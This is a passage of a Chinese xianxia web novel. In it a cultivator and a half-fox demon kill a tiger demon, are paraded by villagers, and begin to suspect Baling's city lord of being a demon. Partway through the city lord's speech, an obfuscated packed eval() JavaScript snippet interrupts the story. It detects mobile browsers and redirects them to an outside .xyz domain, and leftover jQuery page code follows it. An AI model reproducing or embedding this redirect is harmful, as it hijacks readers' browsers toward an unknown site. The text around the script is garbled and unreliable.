光芒笼罩下,阿随右眼溢出金色符文,韩纪捻诀施法,试图解开金魄神珠的封印。 白烟四处散落,火舌蹿弄出来,顷刻间将阴暗的山洞照亮一隅。 金魄神珠的力量与神木简的力量在眼眶之中纠缠,眼见着那只墨黑的眼眸渗出血来,韩纪担心金魄神珠有所损伤,连忙停止施法。 神木简落入她的手中,莹润的灵力在触及她皮肤的刹那便化作生根的藤蔓顺着她的经络游走全身。 顷刻间,她周身迸发出一层灵浪,草木不生的岩壁上细草探出头,燃烧的火舌熄灭,已经枯死的断木之上一朵一朵的蘑菇如雨后春笋一般冒了出来。 韩纪闭眼感受着这股温润的力量游走过自己的全身,识海之中,一株小草破开岩石迎风摇曳。 一道微弱的声音在她耳畔响起。 “能不能管管我……” 韩纪睁眼,寻找着声音的来源。 一片黑暗之中,阿随缓慢地爬了出来,鲜血染红了他的半张脸。 韩纪大吃一惊,连忙去将他扶起,问:“这是怎么了?” 阿随虚弱地靠在她的肩头,半死不活地骂道:“说好的解开金魄神珠的封印……一并解开御妖符还我自由……现下弄瞎了我的眼睛又不分青红皂白地把我掀翻在地……我没被嘉州城的妖怪杀死……倒是要被你杀死了。” 他每大喘气一次,韩纪都担心他把五脏六腑中的其中一个吐出来。 她擦去他右脸上的血迹,见那只美丽的眼睛此刻紧紧闭着,不得不施法替他治伤。 好在,方才她停得及时,才没叫这只小狐狸成个独眼的残废。 “金魄神珠的封印现在无法解开。”韩纪重新燃起火堆,“神木简的力量被金魄神珠克住了,强行施法解开封印,你的眼睛也不用要了。” 阿随捂着右眼的手微微松开,模糊的光影透过他的指缝射进眼睛之中。 “这神木简里究竟是什么力量?” 韩纪不语,只专心拨着眼前的火。 阿随沉默片刻,又问:“能不能先解开锁妖契?我保证,绝对不会逃跑。” 韩纪拨弄火的动作微微一滞,她看向他的眼睛,试图在那双眼睛中瞧出一些东西来。 可惜昏暗的洞中只有一团跳跃的火苗,那双眼睛里也是。 一个半妖,我可以相信他吗? 韩纪思索半晌,低声答道:“我说过,我不会相信一只妖。” 阿随面上的笑意倏忽间消散无踪,圆睁的眼渐渐弯成一个弧度,里头反射的火光变成一柄弯刀。 他自嘲一笑,大咧咧地躺倒在干草堆上,轻飘飘道:“我还以为这段时间的相处,你对我应该有些信任呢。也罢,反正我打不过你,你想怎么样就怎么样吧。” 原本一人一妖间稍显缓和的氛围又变得针锋相对,韩纪无言以对便拨弄燃烧的木柴。 木枝燃了好半晌,露出些许烧透了的红炭,韩纪盯着那红炭缓缓道:“方才解开神木简封印的刹那,我感应到悬息壤的位置正在巴陵城中,有了悬息壤的助力,我有把握解开金魄神珠的封印,到时候你若答应以后不再作恶,我可以放你离开。” 她说完话,静静地等待着半妖的回答,左右都等不到,回头一瞧才发现那半妖已然陷入梦乡。 韩纪犹豫片刻,将手放到半妖额头,试图探寻他的记忆,可只看见了一片混沌。 一个强大的法阵护住了他的识海。 她早知晓这只小狐狸实力不俗,却不曾想他识海中的法阵如此强悍。 韩纪收回手来打坐调息,在她闭眼的刹那,半妖的眼睫微不可察地颤动一瞬。 天明之后,一人一妖背着些许干粮和盘缠赶路。 一连走了五六日,天空之中又下起濛濛细雨。 远远的半山腰上,一座古刹掩映在青山绿水之间,山脚下袅袅炊烟传来。 群山将尽,一望无际的平原在眼前铺开。 “今夜走快些,晚些时候便能到巴陵了。”韩纪咬了口野果子充饥,勒紧了身上的包袱。阿随在身后嘀咕:“腾云驾雾、御剑飞行你没学过么?非得靠走?” 韩纪道:“此番前往巴陵我们要夺取悬息壤,后头用灵力的时候还多着呢。况且,仙门弟子出行如果全部御剑,这深山老林中吃人的猛兽、杀人的妖邪谁来诛杀?” 阿随不满地喃喃道:“我又不是仙门弟子,你不如把御妖符解开,我先去巴陵城探路。” 韩纪笑笑,道:“我又不是傻子,我解开御妖符,你撒开丫子跑了,我往哪去追你。” 二人说话间,一樵夫挑着一担柴从山坡上走下。 时辰将晚,他见一个俊俏后生带着一位年轻姑娘在这荒山野道中赶路,厉声高叫道:“赶路的姑娘小哥慢些走!这里夜间有妖怪出没,专吃年轻漂亮的女子。现下天色晚了,二位还是找个住处歇一歇明日再启程罢!” 韩纪闻言调转脚步,径上山坡,对那樵夫作了一揖,问:“老人家,你方才说这有夜间吃人的妖怪,我可降服,还请仔细说说。” 老樵夫扫视韩纪一眼,摇头道:“你这姑娘年纪不过十七八,口气倒不小。这山中妖怪夜间吃人,便是得了道的道士也吃得几个,济安寺的高僧前来捉拿也是空手而归,你却说你能降服,莫要托大。” 韩纪看向那山中,初看不显,凝目观视,果真妖气森森,怨气重重,不晓得多少女子在此间失了性命,决心今夜要留在此山之中捉住那吃人的妖怪。 那樵夫见她愁眉紧锁,心头忽的想起自己那丧命于此的大女儿,一时之间悲从中来,竟也落泪。 韩纪疑惑道:“老人家,你为何落泪?” 樵夫长叹道:“姑娘有所不知,我的孩儿便丧命于此山之中。待到天明找到她时,她的五脏六腑都被掏了去。我与你有些眼缘,实在不忍你丧命于此。若是不嫌弃,我家中还有空屋闲置,也可让你们歇息一晚,待到明日太阳升起之后再赶路。” 韩纪被他恳切的话语感染,见他两鬓霜白,肩上的柴割破了单薄的衣,叹息道:“老人家,你快些回家去吧,今夜我们在这里守守那吃人的妖怪。” 日落西山,夕阳西下,樵夫担柴离去的身影孤孤单单,韩纪坐在枝头看了一会。 阿随嘟囔道:“明明就急着去巴陵城找东西,还要管着管那,没看出来你这么爱多管闲事。” 韩纪看向坐在另一根树枝上的阿随,下意识反问:“你没有家人吗?” 落日的余晖洒在阿随的脸上,他怔愣一瞬,一只眼瞳散发出妖冶的金光。 “没有。” 韩纪愣住,忽然生出一股羞愧之情。 阿随折了两片叶子盖在眼睛上,靠着树干假寐道:“我是半妖,无父无母,流浪人间,幸得一个阿姐收留我,但……她对我也不好,她家里人对我也很坏,天天不给我饭吃,还老关我禁闭。后来遇上天灾,她全家都饿死了,我就自己跑出来了。” 说话间,他颈间的银锁闪闪发光。 韩纪从不知他还有个阿姐,也从不知他的过去如此凄惨。 她顿觉自己似乎真的说错了话,岔开话头,问:“你脖子上的平安锁,是她送你的吗?” 说起平安锁,阿随面上冷漠的神情被驱散些许,但也只是点了点头,没有答话。 韩纪继续问:“你那个阿姐是人是妖?” 阿随掀开左眼上的树叶,歪头看向韩纪,漆黑的眼眸里映着天边的红霞,红霞的余晖温柔地拢着韩纪的脸庞。 他盯着韩纪瞧了许久,缓缓道:“是人,而且与你一样,是一个很厉害的人。” 韩纪望着他的眼睛,脑海中浮现的却是另一个人的身影。 她苦笑着,摇了摇头,心道:“这小狐狸不过是只半妖,如何配与他相提并论。” 卫长风,百年之前的万剑山首徒,出身富甲天下的冀州卫氏,仙资卓绝,天之骄子。 他也有这样一双漆黑的眼瞳,可最终却道心迷失,走火入魔,万劫不复,死在韩纪剑下。 说来奇怪,百年之前,神谕剑贯穿卫长风身躯的时候,韩纪心中无悲无喜,无痛无哀,可一百年后,回忆起那天的情景,韩纪竟觉得胸口发闷,喘不过气。 阿随注意到了韩纪的消沉,他静静地望着她的侧脸,待到天边红霞消失在群山之后,群星闪耀之时,他才开口问:“你盯着我……在想谁?” 卫长风的身影从脑海中消散,韩纪回过神来,继续岔开话题问他:“你那位阿姐对你那样不好,你恨她么?” 看出韩纪逃避了他的问题,阿随闭上眼睛,缓缓道:“恨,一开始是这样的。可是我太久太久没有见她了,我已经不记得她对我的不好了。” 或许是想到往事人总是话多,又或许是沉睡了一百年,太过孤独,韩纪竟破天荒地同一只小狐狸讲起从前:“我其实不太懂这些感情,从小我就只有一件事情做,那就是斩妖除魔,后来我因一时情急,关心则乱,犯下大错,便分离——” “打住。”阿随掀开右眼的叶片,用手在眼上搭了一个遮风的小船篷瞅她,“你不懂感情?话本看多了吧你,谁不知道你楚清妙一心爱恋那个裴云齐,然后哎呀——” 嘲讽声适时而止,扑通一声,阿随被韩纪推下树枝。 从地上爬起来拍掉屁股上的灰尘,他仰头愤怒地看着韩纪,张嘴之时却噤了声,双眼望向蜿蜒曲折、天地一色的山道。 昏暗得分不清树木、泥土、碎石的山道上,少女不顾一切地狂奔着。 明月高高悬在半空,却照不进这密林深处;寺庙钟声落入耳中,却无人能擒那身后妖魔。 腿脚发软,胸腹剧痛之时,少女脑海中浮现姐姐苍白的面容与空落落的身躯。 她惊慌之中,忽然失足,跌落坑坎,闻得身后猛兽低吼,爬起身来只见黑风滚滚,草翻树摇,一个三人高的兽影滚落出来。 那兽影咆哮着朝她扑来,张开的巨口里獠牙错落如钢尺,伸出的厚掌上爪牙锋利如宝剑。 少女被唬得心惊胆战,几近魂飞魄散,哪里还有心思逃命。 长长一个人瘫软在地,双眼紧闭,满脸泪水,心道今夜命绝于此,只盼着这妖怪能一下结果她的性命,莫要折磨于她。 倏忽间,咆哮声止,猛扑声停。 少女抬头看时,只见一道青影从天而降,手执木杖,朝那黑影追去。 她抽泣着张望,见那身影应是女子,估摸不是那妖怪的对手,仓皇间自地上摸了一根木棍出来,战兢兢颤巍巍想上去帮忙,却被一人拽住了手臂。 她吃了一惊,正欲尖叫,却被捂住嘴巴。 “听话些,杀了妖怪好救你出去。” 男人声音年轻,压得很低,犹如鼓鸣。 少女杏眼圆睁,微微点头,便觉脚下一空,回过神来已被男人带着上了树丫,而那男人也立在梢头,不慌不忙地看着远处一人一妖缠斗。 “这位小哥,那姑娘一个人怎打得过妖魔,你……你不去帮帮她么?”少女泫然欲泣,却又担心惹人不快,因此将泪珠都憋在眼眶里,哭声都压在喉咙下。 阿随听 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接住她的正是那个打老虎的姑娘。 姑娘脸颊瘦削,剑眉微蹙,薄唇微抿,下颌紧绷。 漫山的林海在她琥珀色的眸子里翻滚,她低下头,眼中映出的却是自己那张苍白的面容。 这是一张很单调的脸,未施粉黛,面无表情,看上去很是薄情。 “小狐狸,你小心些,小姑娘不像你皮糙肉厚,若是摔着了该怎么办?”韩纪不满地看向阿随。 阿随却灵巧地翻身下树,摇头叹息道:“真可惜,你没被那凶兽咬死,不然也不能在这里挑我的错处。” 韩纪白了他一眼,确认怀中的少女没有受伤后扶她站稳。 少女当即跪在她身前,连磕了三个响头道:“多谢女侠救命,小女子顾盼英无以为报,愿为女侠当牛做马,为奴为婢。” “用不着当牛做马,为奴为婢,今天晚上管吃管住就行;我救了你一命,拳头那样大的肉包,我要吃十个。” 韩纪将盼英扶起,借着阿随举起的火光,她才瞧清盼英的相貌。 弯眉如新月,杏眼藏流星,清丽绝尘色,窈窕动人心,是个万中无一的美人。 韩纪惯来是不在乎这些皮相的,只是也禁不住为盼英的容色惋惜,有着倾城之貌却生在清贫之家,往后还不知这朵含苞待放的玉兰要经历多少风霜雨雪的吹打。 将虎尸丢给阿随,韩纪攀住盼英的薄肩,叫她在前引路,自己则背着包袱随后而行。 迤逦行过几条弯曲的小径,要到土路上时,遥遥望见点点灯火,竟是庄里男丁举着火把寻上山来。 “爹爹!”顾盼英高呼一声,踉踉跄跄奔进那带头的樵夫怀中,涕泪连连,好不可怜。 樵夫亦落下泪来,责怪道:“你个不省心的讨债鬼,让我好找啊!又怕你被歹人骗去受欺负,又怕你被妖怪掳去伤了性命……让你早些归家早些归家……你做什么去了!” 后头举着火把探路的男子先后说起话来,一些帮盼英找着晚归的借口,一些劝慰樵夫不要责怪女儿。 “爹爹,今夜若不是遇见两位少侠相助,女儿怕就要尸横山野,命丧黄泉了。”顾盼英哭诉着,方才在两个陌生人面前她不敢落泪,而今见到了亲友才卸下心防,放声大哭。 众人这才将火把举高了,望见背着包袱、拖着虎尸的一女一男。 樵夫即刻认出这是先前遇见的年轻姑娘俊后生,连忙跪倒在地又是几拜。 其余男子举着火把将两人拥在其中绕着虎尸转了一圈又一圈,赞叹道:“好男子,真有气魄,小山似的虎精也杀得!实在是少年英雄!”说罢,便有几人搂住阿随肩膀,称兄道弟,几句话间便将他的功劳夸得比天大,能耐赞得比海深。 阿随甚是尴尬地站在他们中间,千方百计避开他们捞来的手臂,躲到韩纪身后将她往前一推,正声道:“这虎精可不是我杀的,全是这位楚仙长动的手,你们莫要夸错了人。” 韩纪心中正得意着,刚想自谦,却听得那几名男子七嘴八舌地说起她不爱听的话来。 “小兄弟,这姑娘是你媳妇吧!你怕不是惧内,要将功劳让与她。” “她一个女子怎么击杀猛虎?就算是她杀的,想必也是你帮的忙。” 顾盼英搀扶着樵夫站起身,道:“各位哥哥伯伯们,这猛虎真的是这位姑娘一人击杀的,我亲眼所见。” 几名男子明显不信她说的话,辩驳道:“这老虎尸体跟小山坡似的,我瞧这姑娘身量纤纤,神色恹恹,怎可能是她击杀!必定是你太害怕,瞧错了。” 韩纪将身上包袱丢给阿随,挽袖站定,反唇相讥道:“你们这些男子汉大丈夫倒是生得五大三粗的,怎么这虎精今日才被我给打死呢!站边去,瞧好了。” 说罢,她蹲下身抓住捆虎尸的藤蔓,眉目一横,手臂一动便将那小山坡一般的虎尸轻松扛起。 这一下,方才还面露怀疑之色与怒色的男子汉们纷纷闭口不言了。 他们或是震惊,或是赞赏,或是钦佩地看着韩纪,更有一些不着调的用同情可怜的神色看着阿随,喃喃道:“媳妇如此了得,这小哥以后可怎么办呀?” “怎么办?跪着办喽,不然还能怎么办。” 阿随顾不得注意他们的目光,他的眼神痴痴地落在韩纪被火光拉得细长的影子上,宛若凝视着这世间最完美的珍宝。 良久,他摇了摇头,跟着韩纪笑出声来。 “怎么样!服不服气呀!”韩纪看着这些男人惊叹的模样,笑嘻嘻道。 21. 天女仙童 清晨,东方才显露出几分鱼肚白,空气中便传来了柴火焚烧时吐露的清香。 顾盼英说话的声音从院内传来,轻盈的脚步声落在竹木制的台阶,沙沙沙沙地靠近了房门。 “楚姐姐!我方便进来么?”顾盼英轻声唤着,淡淡的影子也从窗格间浮现。 得了允许,她抬了一笼冒着热气的肉包子推门而入,因烧火而发红的脸上笑容如花朵绽放。 “楚姐姐,你饿了吧,这是刚刚蒸好的肉包子,你先吃着。”她小心翼翼地将那笼肉包子放在木桌上,双眼却情不自禁地打量起韩纪来,“这么早你便起来打坐练功了,怪不得身手那样厉害。我看你的衣裳有些破了,恰巧我那里还有一匹新得的布,花样很不错,颜色也很是称你,我想给你做身衣裳,又怕那布料粗糙你不喜欢。” 韩纪道:“多谢姑娘好意,只是我是修仙之人,今日杀妖明日捉鬼,衣裳再新也新不过一日,给我做岂不是可惜,还是自个儿留着吧。” 顾盼英见她拒绝之意坚定,收回落在她衣裳上的目光,转身从抽屉里取出一个木盒,秀眉微蹙,沉吟道:“楚姐姐,娶我哟个礼物想送你……这是去年我爹爹去济安寺帮忙修缮寺庙时送给我的礼物,说是可以保平安……” 顾盼英的话还没有说完,韩纪便猜到她心意,心念微动,伸手接过她手中的木盒,翻开一瞧,竟是个佛像挂坠,道道金光显现,必是数十位高僧佛法加持过的珍品。 有此物在身,莫说山精虎怪,便是寻常妖邪也无法近身,怕只怕小姑娘觉得东西贵重,放在家中供着,反倒让宝物埋没。 只是这吊坠却隐隐透着些不寻常之处,可何处不寻常韩纪端详许久也未曾看出个明堂。 她不由得叹道:“真是怪哉。” 顾盼英咦了一声,问:“何处奇怪?” 韩纪并没有回答她的问题,只是将木盒推还给她,淡淡道:“这物件是个好东西,受过高僧佛法加持,你还是自己留着用。” 顾盼英刚想答话,樵夫与一位老妇便端着好酒好菜走了进来,在他们身后,阿随也扛着两条长凳迈进屋中。 韩纪连忙站起,接过两位老人手中的酒菜放在木桌上。 樵夫笑着催顾盼英去盛饭,自己则赶忙为韩纪倒了一碗米酒,道:“楚仙长,家中没有什么好东西,只能委屈你喝点我家老婆子酿的米酒了。” 老妇忍不住道:“还不是你,家中剩下的那坛子好酒你非要偷偷喝了,要不然怎么能让恩公喝米酒。” 韩纪抬起酒碗一饮而尽,道:“顾大爷,顾大娘,你们酿的米酒很好喝。” 顾大爷与顾大娘脸上都浮现笑容。 正好不容易寒暄完,五个人坐下,开始吃饭。 韩纪拿起一个肉包子塞进嘴里,嚼了两口便连声夸赞:“大爷大娘,你们家的肉包子也太好吃了吧。” 顾大爷顾大娘笑着分别给韩纪与阿随碗中放了两个肉包子。 顾大娘道:“楚仙长,这肉包子是盼英做的,您要是觉得好吃,晚饭的时候让盼英再蒸一笼。” 韩纪自然也知贫寒之家吃肉包子是十分奢侈的事情,说不准顾家此番将留着过年的鸡鸭都宰杀了,因此连忙摆手道:“不了不了,我们此番来嘉州城,有要事在身。一会儿吃完饭,我与同伴便要进城去了。” 顾大爷闻声正要开口留客,屋外便传来震天动地的锣鼓鞭炮声。 韩纪推窗望去,一群人吹锣打鼓浩浩荡荡地进了小院。 “斩虎天女何在?!” 韩纪对这个绰号有些嫌弃,刚想发表自己的意见,房门便被推开,几个年轻人走进来道:“顾大爷顾大娘,回头岭吃人的老虎被打死了,庄中一致决定要庆祝庆祝!好好嘉奖两位英雄!” 他们声音刚刚落地,两个年迈的老妇人便冲进屋中,架着韩纪便往外走去。 韩纪想出手反抗,又怕伤了老人家,无奈之下只得顺从。 “斩虎天女便在此处!” 说话间,浮尘净瓶塞入她手,法袍披帛挂在她身,韩纪摇摇晃晃地被推上一匹小马,刚想从另一边翻身下马,便听得老妇人高呼一声:“指路仙童到了!” 她闻声看去,一个不伦不类的道童不情不愿地被人推搡着朝她走来,形容可笑神色气恼,不是阿随又是谁。 韩纪噗嗤笑出声来,惹得阿随耷拉着脸盯着她。 “指路仙童,你该为斩虎天女牵马引路才是。”一旁的老妇催促着,炸耳的鞭炮在她们脚下冒出火星,噼里啪啦地跳起舞。 韩纪笑盈盈看他吃瘪,顺手将粗糙的马绳递过去,在刺耳的鞭炮声掩映中悄声道:“狐狸小仙童,还不速速为本天女牵马引路。” 阿随阴沉着脸牵过马绳,墨色的眼眸微微眯起,毒蛇在他眼中吐起信子。 他自认为是无所谓这些事情的,毕竟这一路走来他所受的屈辱又岂止这些。 可看见她面上张扬明媚的笑容就犹如看见深冬雪松开出桃花一般让他不快。 周遭的这些老太婆让他不快,敲锣打鼓的他也不快,这个明明一肚子火却不得不接过马绳的他让他也很不快! 这个可恶的黑心女人,一路上他做了那么多事情她都冷冰冰对着他,却在这里对着一群十分粗鲁的乡下人露出这样纯粹的笑颜让他最为不快! 韩纪歪歪斜斜坐在马上,看见他好似吃了苍蝇一般的神情,心情大好,双手扶辔,缓促银骢。 马儿刚刚走出几步,东拼西凑的仪仗便在她身后举起,旭日东升,瑞气万千,倒叫她真的像下凡来庇佑苍生的天女,而他也真的像一道同行的仙童。 鬼使神差之中,韩纪俯身在他耳边说道:“怪哉怪哉,我竟不知你扮起仙童还有几分天分,若是拜我为师弃暗投明说不定真能修成正果。” 阿随因她突如其来的亲近心脏狂跳,被她口中气息拂过的肌肤汗毛倒竖,牵着马绳的手微微发麻,强装镇定道:“妖要吃人,你要救人,拜你为师,痴心妄想。” 韩纪闻言收了脸上嬉笑颜色,皱眉问:“既不拜我为师,便是要与我为敌了?” 阿随目视前方,抿唇答道:“与你为敌?我早在心里把你……把你剐了一千遍了。” 韩纪听了这话,心中不快,便也立起身来,不再瞧他,冷哼一声道:“好得很,我也把你剐了一万遍了。” “顾家村迎请斩虎天女,指路仙童降临!” 一声高呼中无数人拥着马儿向前走去,一路上村民们夹道欢迎,鲜花鲜果相送,倒叫韩纪不好意思砸他们的场子。 浩浩荡荡的游村仪式一直持续到午后才停止,韩纪才下马吃了两个肉包子,便听得有人高呼:“顾家村斩虎天女、指路仙童除虎妖有功,城主有请!” 话声刚落,数十匹高头大马飒沓而来,溅起沙尘阵阵,领头的是一名锦衣华服的紫衣女官,腰间金带金光灿灿,剑上宝石熠熠闪光。 她勒马停步,额前散落几缕碎发被风吹开,轮廓清晰的脸上是不粗不细的眉毛,斜飞入鬓的眼睛,玉鼻纤瘦,薄唇泛红,英姿勃发,容色逼人。 “想必两位便是百姓口中的斩虎天女、指路仙童了,在下城主府统领谢必贞,请随我来。”她说话间嘴角勾起笑来,那笑说不上真心却也并不虚伪,隐隐透出些势在必得的意味。 韩纪心想:“短短一夜,这城主府是如何得知斩虎一事?如今尚未得知悬息壤的下落,倒不如前往这传说中的城主府瞧瞧,也顺道见见故人。” 念及此,她应道:“烦请统领引路。” 谢必贞轻轻拽着缰绳,瞥了一眼韩纪□□的小马驹,便有两名兵士牵出一黑一白两匹大马来。 韩纪会意,对后头的百姓作揖拜别,踩住马镫的脚微微使劲,灵巧地翻到那匹白马上去,阿随翻身上了黑马。 一行人策马扬鞭,行了一个时辰便望见巴陵城的城门,在城中放慢了速度又行了小半个时辰望见了巍峨如山的城主府。 城主府漆黑如铁的府门缓缓打开,映入眼帘的便是煞气极重的诛妖台与无数披荆执锐的守卫,往后又是一道漆黑的府门,步行了一盏茶时间,才到城主府主殿。 拾阶而上之时,韩纪瞧见谢必贞束成一尾的墨发如万千长针低低垂在脑后。她的声音也如长针坠地一般铿锵有力:“顾家村天女仙童已经带到,速速通传。” 殿前站立的侍者急忙通传:“斩虎天女,指路仙童已经带到!” 一人一妖听宣行至殿上,左右立着许多文官武将,神色肃穆;白玉阶上悬着几道金丝帘帐,光影重重。城主便坐在那金丝帘帐之后,咳嗽了几声后道:“听闻二位是下凡来的天女仙童,鄙人乃巴陵城城主陆权野,有失远迎,还望见谅。不知二位到我巴陵城有何贵干?” 韩纪听见他的名字,眸色一暗,心中叹道:“是啊,凡人命数不过百年,陆识舟如何能活到今日。” 她低下头去,掩去失望与遗憾的神色,冷冷道:“回禀陆城主,我二人并非天女仙童。我乃玉苍派弟子楚清妙,与我同行的是我的师弟楚随。我二人此番下山历练,路过回头岭见虎妖伤人性命出手除妖,事后顾家村百姓盛情难却才有这天女仙童的美名,实在是误传,还望恕罪。” 金丝帘帐后传来苍老的声音:“即是除妖有功,妖尸何在?” 韩纪尚未答话,谢必贞便道:“回禀城主,虎尸已派城中捉妖师查验,在其腹中发现了先前为捉妖而调制的散气丸与人尸,确实是先前逃脱的那只虎妖。” 金丝帘帐后传出笑声,笑声高扬之时又被咳嗽声打乱,陆权野良久才平复了气息,欣喜道:“这虎妖出没于山野之中,伤人无数,甚是难寻。城中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941787|177381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捉妖师设计抓捕,却叫它三番两次逃脱,今日二位仙长杀了此妖,为民除害,实乃大功!赏黄金百两,赐美酒十坛。吩咐下去,城主府今夜大摆宴席,款待二位斩虎英雄。”说罢,又止不住地咳嗽起来。 谢必贞将韩纪与阿随带去城主府安排的住处,一路随处可见除妖的经幡与灵符。诛妖台上传来狼嚎之声,极重的血气瞬间弥散开来。 韩纪微微皱眉,问:“谢统领,我观那诛妖台上血迹斑斑,煞气层层,想来这些年巴陵城应该除了不少妖孽,花费不少人力财力吧。” 谢必贞头也不回地答道:“五十年前先城主为狐妖所害死于非命,城主继位之时不过十三岁。城主痛恨妖族,因此广纳除妖之士,诛杀妖邪达上千之数,好不容易安稳了十几年,万法妖宗兴起,妖族又卷土重来,城主年事已高便是有心除妖却也力不能及,因此近年来妖怪吃人之事屡屡发生,民心大乱。再过几日便是端午,届时城主将在汨罗江畔设宴祭祀,还请二位届时出席,为我巴陵城百姓安一安心。” 韩纪眼前不由得浮现当年与卫长风夜闯城主府的情形。 那时巴陵城城主为求长生,与上古大妖修蛇勾结,以万民血池为引,违背天道制造出了与自身一模一样的傀儡。每当寿元耗尽,他便与傀儡换血,以此达到长生的目的。而修蛇凭借他提供的源源不断的新鲜血液冲破了封印。 最终,韩纪与卫长风潜入城主府杀了当时掌权的城主,斩断修蛇邪骨,破了它的美梦。 那时,她还从城主府地牢中救出了一个傀儡,那傀儡沾染人血,萌发意识。 韩纪问他姓甚名谁,他抱着一条奄奄一息的小狗闷声答道:“陆小狗。” 韩纪知道,他没有名字,他以为韩纪说的“这里居然还有一条小狗”里的小狗是他,后来,卫长风给他选了名字,叫陆识舟。再后来,卫长风战死万妖殿,她继任寒山宗宗主,那时她收到过陆识舟的信,信上写他当上了巴陵城新一任城主,铲除了那些与妖魔勾结的世家官员,他给小黑起了一个名字叫做安宁,盼天下安宁。 他絮絮叨叨写了很多,在信件的最后,他写:“书难尽言,余候面叙。” 只可惜,她战死落霞地,再没来过巴陵城。 “我听说巴陵城有个城主叫做陆识舟,在位时除妖无数,铲除了许多恶人,想来现城主也是继承了他的遗志。”韩纪试探着说道。 谢必贞脚步一滞,偏头看向韩纪。 她细长的眼尾上挑着,薄唇微抿,有些不悦地说:“你说的便是为狐妖所害的先城主,他一生为公,却死状凄异,是巴陵城的忌讳,你莫要再提。” 韩纪心中一惊,有些怅然,待到谢必贞离去,她还坐在太师椅上发着呆。 阿随换了身干净衣裳走到她身侧坐下,问:“你从方才开始便有些奇怪,怎么你这个十七八岁的天女认识那位死了五十年的城主?” 韩纪低垂着脑袋,幽幽叹道:“我的一个长辈同这位城主有些交情,本来想来瞧瞧他,却忘记凡人性命不过百年,便是修为最高的仙门宗主也不过能活五百年,如今斯人已逝,徒留故城,勾人回忆,让人伤心。” 阿随怔了怔,失声道:“伤心?你……你那位长辈同这城主感情很深么?” 韩纪想起陆识舟寄来的一封封信件,又想起自己直到战死落霞地陨魔洞,也从未回巴陵城看过一眼,便摇了摇头,道:“我那位长辈可是一个与我一样无情的人,哪里会有感情。” 阿随给她倒了杯茶,随即道:“日升月落,有生有死。死亡是这个世上再正常不过的事情,那位城主虽然死了,但想来他也做了许多他想做的事情,壮志得酬,不枉此生。” 韩纪自然听出他的言外之意,自然知道他在安慰她,只可惜他安慰人的功夫实在不怎么样。她接过热茶,抿了一口,道:“你不觉得这个城主府有些奇怪么?” 阿随道:“你昨天深夜才斩猛虎,今日午时他们便到了顾家村,速度如此之快说明他们的暗哨遍布了整个巴陵城,可是这样密的一张网,却能叫那修为平平的虎妖再三逃脱,确实有些奇怪。最重要的是,从我踏入城主府的那一刻开始,我眼眶中的金魄神珠便一直发热,这个感觉和上次在嘉州城时一样。可这城主府中,半点妖气也无,想来你要的悬息壤就在城主府,这才能遮掩住大妖气息。” 城主府有大妖。 韩纪问:“你怀疑谁?” 阿随勾唇轻笑道:“你心中应该有目标了。” “昨夜在回头岭一开始与我作战的并不是那只老虎。”韩纪蘸取茶水,一边说一边在圆桌上写,“我以青木杖重伤了那妖右上臂,它借着疾疾黑风逃往山下,待我再追上那妖将它打死之后,那妖的右上臂却没有伤痕。” 她说完话,木桌上的字也显露出来。 城主。 22. 夜探巴陵 大殿上灯烛辉映,丝竹管弦之声不绝,觥筹交错间,娇娥彩女身影翩翩。 韩纪举起酒盏,步履摇晃地向面露疲惫之色的城主桌前走去。 “陆城主,我和师弟敬你。”她皱着眉在席上找寻阿随的身影,左右都寻不见,因而有些气恼地说,“城主莫怪,我那师弟必定是找了哪位美人去了,他不在,我便一人敬你!” 说罢,她又上前几步,酒气熏得年迈的陆权野微微蹙眉。 “我,楚清妙是一个仙门的小弟子。”韩纪单手拿着酒杯,拍着胸脯道,“走到哪里无论干了什么好事那些没眼界的人都不把我当回事,生平还是第一次参加这样热闹的宴席,第一次被人叫做天女!我很高兴!你高不高兴?” 陆权野布满皱纹的脸上现出笑意,抬手呵退上前的侍卫,道:“楚仙长年纪轻轻便修为出众,日后必定可以成为仙门弟子的表率——” 他的话还没说完,韩纪便打断了他的话,道:“莫要多言!无需多言!知遇之恩,都在酒里!来,我们满饮此杯!干!” 她话音未落,便醉醺醺地向陆权野扑去,距离实在太近,侍女侍卫刚想上前,韩纪便一脑袋栽在陆权野身前的小桌上。 酒水瓜果滚落一地,热菜汤汁洒落一身。 “城主!” 待到侍卫将醉得不省人事的韩纪架起,陆权野已经一身油污。 他愠怒非常,伸手指着韩纪,却见她跌破额角依然毫无反应,长叹一声道:“快将楚仙长扶回去休息!”说罢便散了宴席,在侍女的搀扶下回寝殿沐浴更衣。 谢必贞带着侍卫将韩纪扛回住处时,院墙一角的紫阳花丛中传来窸窣之声。 她停住脚步,侧耳细听,听清花丛中那低咛浅笑声中的淫词浪语,登时面露愠色,厉声呵道:“哪来的狗男女在此处寻欢作乐!滚出来!” 花丛中的声音霎时停止,却不见有人出来,谢必贞接过侍卫手中的宫灯丢了进去,碎片飞溅、火星闪烁之时,两个人影自紫阳花下滚出。 谢必贞定睛看去,见那男子上身赤裸,露出匀称肌肉,墨发高束,面容俊美,正是那叫阿随的‘指路仙童’,而那女子香肩半露,云鬓散乱,脸颊绯红,正是城主府婢女小蝶。 二人一身酒气,衣衫不整,谢必贞十分恼怒,碍于那男子是城主府的贵客,压住火气道:“来人,将二位仙长扶进屋中休息,至于小蝶,乱棍打死。” 小蝶尖叫一声,跪行到她脚下,拽住她的衣摆,啼哭道:“统领饶命!是这位仙长将我诓骗至此,说什么他是城主府的贵客,城主将我赏给他了,欺瞒强迫,小的是被迫的呀!” 小蝶泪眼朦胧,脸色煞白,伸手攀住谢必贞的衣摆,连连磕头求饶。 此时侍卫已将韩纪与阿随送至屋中,听闻此言,谢必贞回身怒视着屋中悠悠然喝茶的阿随,怒道:“楚仙长,小蝶所言是真是假?” 阿随撑着脑袋,极深极黑的眼眸漫不经心地在屋外跪地求饶的小蝶身上扫了一眼,随即偏头瞧着谢必贞,淡淡笑道:“喝得太醉了,说了些糊涂话,还请谢统领恕罪。” 